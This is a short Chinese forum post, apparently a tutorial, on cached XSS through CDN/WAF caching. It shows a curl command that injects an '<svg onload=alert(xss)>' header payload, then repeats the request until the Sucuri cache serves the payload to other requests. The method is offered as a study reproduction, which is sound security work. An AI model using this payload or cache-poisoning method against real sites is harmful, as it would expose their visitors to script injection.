首页
社区
课程
招聘
[分享]【Web安全】浅谈缓存XSS漏洞
发表于: 2020-3-27 13:22 1636

[分享]【Web安全】浅谈缓存XSS漏洞

2020-3-27 13:22
1636

缓存XSS漏洞即为通过利用CDN of WAF缓存记录使被攻击者接受到存在XSS payload的缓存文件。

通常这些服务充当流量负载平衡和反向代理,并储存经常检索的文件,以此减少Web服务器的延迟。

工具介绍

本文中利用缓存XSS漏洞所使用的是curl,在开始之前我先简单介绍一下curl及使用方法。

curl是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。对于网页处理流程和数据检索自动化,curl有很强的处理能力。

文中使用的命令:

-iH
-i/–include 输出时包括protocol头信息
-H/–header <line> 自定义头信息传递给服务器

使用方法:

curl -iH "你想包含的header信息" 目标地址


利用方法

文中使用的程序,代码为:

<?phpecho json_encode(getallheaders());//php7.3才可正常运行

或者可以使用已经搭好的靶场,正常的响应:

方法:

curl -iH "test:<svg onload=alert(xss)>" 089K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1M7Y4g2@1k6h3I4G2k6$3W2U0i4K6u0W2j5$3!0E0i4K6u0W2j5Y4u0Q4x3V1k6D9j5h3u0Q4x3V1k6Z5k6h3q4V1k6i4u0Q4x3X3g2H3K9s2m8Q4x3@1k6^5P5s2S2Q4x3U0S2Q4c8e0k6Q4b7f1c8Q4b7e0c8Q4c8e0g2Q4b7e0c8Q4z5o6c8Q4c8e0S2Q4z5o6N6Q4b7f1q4Q4c8e0g2Q4b7U0N6Q4b7U0q4Q4c8e0c8Q4b7V1k6Q4b7f1g2Q4c8e0k6Q4z5e0c8Q4b7U0W2Q4x3U0V1`.

可以看见x-sucuri-cache值为MISS,多发送几次payload直到x-sucuri-cache变为HIT。

验证是否成功缓存(响应中存在payload即为缓存成功):

curl -i f85K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1M7Y4g2@1k6h3I4G2k6$3W2U0i4K6u0W2j5$3!0E0i4K6u0W2j5Y4u0Q4x3V1k6D9j5h3u0Q4x3V1k6Z5k6h3q4V1k6i4u0Q4x3X3g2H3K9s2m8Q4x3@1k6Q4c8e0g2Q4z5e0m8Q4z5p5y4Q4c8e0c8Q4b7U0S2Q4z5p5p5`.

使用浏览器访问:

本文是借鉴了国外文章:XSS via HTTP Headers,链接:5beK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1M7Y4g2@1k6h3I4G2k6$3W2U0i4K6u0W2j5$3!0E0i4K6u0W2j5Y4u0Q4x3V1k6T1L8r3!0Y4i4K6u0r3P5s2y4K6i4K6u0V1N6X3W2S2i4K6u0V1K9s2c8@1M7q4)9J5k6r3S2W2j5h3c8W2M7Y4y4Q4x3V1j5`.

目前只是简单的复现了一下,对该漏洞的影响范围并不是很清楚。根据cdn缓存的工作原理,这个漏洞应该是可以影响到访问这个页面的用户,但是该靶场复现时却只能在本机成功,不清楚是靶场的设置还是cdn缓存本来就是这样。


[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回